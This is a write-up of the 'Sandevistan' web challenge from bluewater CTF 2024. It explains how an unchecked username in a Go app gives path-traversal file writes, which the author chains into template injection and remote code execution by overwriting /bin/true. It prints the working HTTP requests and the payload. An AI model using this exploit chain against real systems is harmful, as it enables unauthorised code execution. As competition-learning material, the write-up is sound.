Sandevistan
Context
It was a day or two after the European Cybersecurity Competition (ECSC) had just finished. Most good and active players across all top teams were busy spending their last hours in Turin or were already traveling back home. This also meant only a handful of teams and players were be playing bluewater CTF 2024 which motivated us to also play as Organizers and get collect some CTFTime points.
The Challenge
Sandevistan (reference to Cyberpunk 2077) opens to this cool cyberpunk aesthetic landing page.
The backend is written in Go and uses its builtin templating library html/template
. My initial idea was that this must be an SSTI challenge so I started searching for possible vectors of input.
There are basically two possible routes available for interaction: /user
and /cyberware
, both accepting GET and POST methods.
When creating the user you only need to specify the username, which gets checked with this function to verify that it only contains alphanumeric symbols.
func AlphaNumCheck(ctx context.Context, t string) *models.UserError {
if !regexp.MustCompile(`^[a-zA-Z0-9]*$`).MatchString(t) {
fmt.Println("ERROR! Invalid Value:", t)
v := fmt.Sprintf("ERROR! Invalid Value: %s\n", t)
username := ctx.Value("username")
regexErr := ErrorFactory(ctx, v, username.(string))
return regexErr
}
return nil
}
However, successfully creating a user doesn’t really give you anything, because there is no session being tracked.
Through the cyberware
endpoint it is possible to creating ‘cyberwares’ that are stored in a SQLite database. To create one you have to provide a username and a name for the item. In theory the cyberware name is checked using the same AlphaNumCheck
function but the way it gets used in making a cyberware object is strange and suspicious (name[len(name)-1]
). The reason why it’s using indexing is because r.PostForm["name"]
return an array.
func checkForm(r *http.Request) *models.UserError {
...
ctx = context.WithValue(ctx, "username", username[len(username)-1])
cwName, exists := r.Form["name"]
...
ue = utils.AlphaNumCheck(ctx, cwName[0])
...
return ue
}
func (s *Server) cwHandlePost(w http.ResponseWriter, r *http.Request) {
...
ue := checkForm(r)
user, uerr := s.GetUser(username[len(username)-1])
...
if ue != nil {
user.AddError(ue)
return
}
name := r.PostForm["name"]
cw := models.CyberWare{
Name: name[len(name)-1],
BaseQuality: rand.IntN(10),
Capacity: rand.IntN(10),
Iconic: false,
Username: username[len(username)-1],
}
_, cerr := db.InsertCyberware(s.dbClient, cw)
...
}
The Red Herring
This suspicious way of selecting the cyberware name from an array drew my attention and focusing on it made me realize that the index used to select the name value is not the same when checking that it only contains alphanumeric values and when the values is being added to the database. If we make a POST request with multiple name
values, only the first is validated and the last one is written into the database.
POST /cyberware HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=asdf&name=benignName&name={{.}}
This I thought would lead to a working SSTI and consequently the flag. I could see the item with my payload was being added to the SQLite database, however, when trying to view the item using GET /cyberware?cyberware=<cyberware-name>
I could only see the cyberware object having default values and not the values actually present in the database.
Thinking this was a fault of my queries or payload made me spend a good amount of time debugging this and trying to understand where I went wrong. Finally, I had to conclude that this bug can’t be a fault me as it also exists in the remote. The multiple solves also meant that this is a dead end and the vulnerability must lie somewhere else.
Note: The challenge author confirmed afterwards that this bug was unintended as the challenge was rushed out and not much playtested.
Arbitrary File Write
A teammate noticed that the username is used to save the error log of the user if the name of the cyberware contains non-alphanumeric characters. Furthermore, the username is not checked when creating a cyberware and is directly used as the errorlog filepath through concatenation.
func ErrorFactory(ctx context.Context, v string, f string) *models.UserError {
filename := "errorlog/" + f
UErr := &models.UserError{
v,
f,
ctx,
}
file, _ := os.OpenFile(filename, os.O_RDWR|os.O_CREATE, 0644)
defer file.Close()
file.WriteString(v)
return UErr
}
This writes the string "ERROR! Invalid Value: "
along with the name of the offending cyberware to the first line of the target file. And since we had no restrictions on the filename
variable we could (over)write anywhere in the filesystem.
SSTI
Having the ability to write anywhere in the file system we could come back to idea of achieving SSTI. Go’s official documentation for html/template
says that:
The security model used by this package assumes that template authors are trusted, while Execute’s data parameter is not.
Since we could now write to the template files directly and then have those be rendered, executing template codes that we give it.
Using {{ . }}
as the cyberware name we overwrote the tmpl/user.html
template and then visiting /user
we managed to render the current (User) object. This meant we could also call any of that object’s functions.
RCE
Looking at the functions at our disposal we noticed that there is a function that calls a local binary as a health check.
func (u *User) UserHealthcheck() ([]byte, error) {
cmd := exec.Command("/bin/true")
output, err := cmd.CombinedOutput()
if err != nil {
return nil, errors.New("error in healthcheck")
panic(err)
}
return output, nil
}
This gave us the idea to overwrite that file with a shebang and have it execute bash script. Problem was that whatever we overwrote a file it would only overwrite the first line of that file and our payload would be preceded by "ERROR! Invalid Value:"
which mitigates the use of the shebang. However there were two function at our control that could let us write an arbitrary string at our specified offset into a file of our liking. Luckily we could also use new line characters in our payload.
First we needed to create a new Error object with an arbitrary string:
func (u *User) NewError(val string, fname string) *UserError {
ctx := context.Background()
ue := &UserError{
Value: val,
Filename: fname,
Ctx: ctx,
}
u.Errors = append(u.Errors, ue)
return ue
}
And then we needed use the SerializeErrors function to write the content of that error to our specified file.
func (u *User) SerializeErrors(data string, index int, offset int64) error {
fname := u.Errors[index]
...
f, err := os.OpenFile(fname.Filename, os.O_RDWR, 0)
...
_, ferr := f.WriteAt([]byte(data), offset)
...
return nil
}
Final Execution Chain
We first created an arbitrary user.
POST /user HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=exp
And then we used the /cyberware
endpoint to write to the tmpl/user.html
template three consecutive template commands.
POST /cyberware HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=../tmpl/user.html&name={{.NewError+"-"+"/bin/true"}}{{.SerializeErrors+"#!/usr/bin/bash\n+/readflag\nexit\n"+0+0}}{{.UserHealthcheck}}
The first create a new Error with the string path pointing to /bin/true
. The second template command selects the error we just created and write to the file it’s pointing to at offset 0 our bash payload
#!/usr/bin/bash
./readflag
exit
And the final template command executes /bin/true
which we had just written to.
After this request we just needed to make a request to /user
with our user to make the backend render and execute our payload. This nicely gave us the flag.
Final thoughts
In my opinion this was a fun and interesting, and with the unintentionally broken or missing functionality (there was no navigation, buttons or input fields on the site so you needed to craft all requests and interactions based on the source) it lived up to the state of the Cyberpunk game when it too was first launched - a buggy mess.
There were 32 teams that solved this in the end and Organizers managed to come out on top.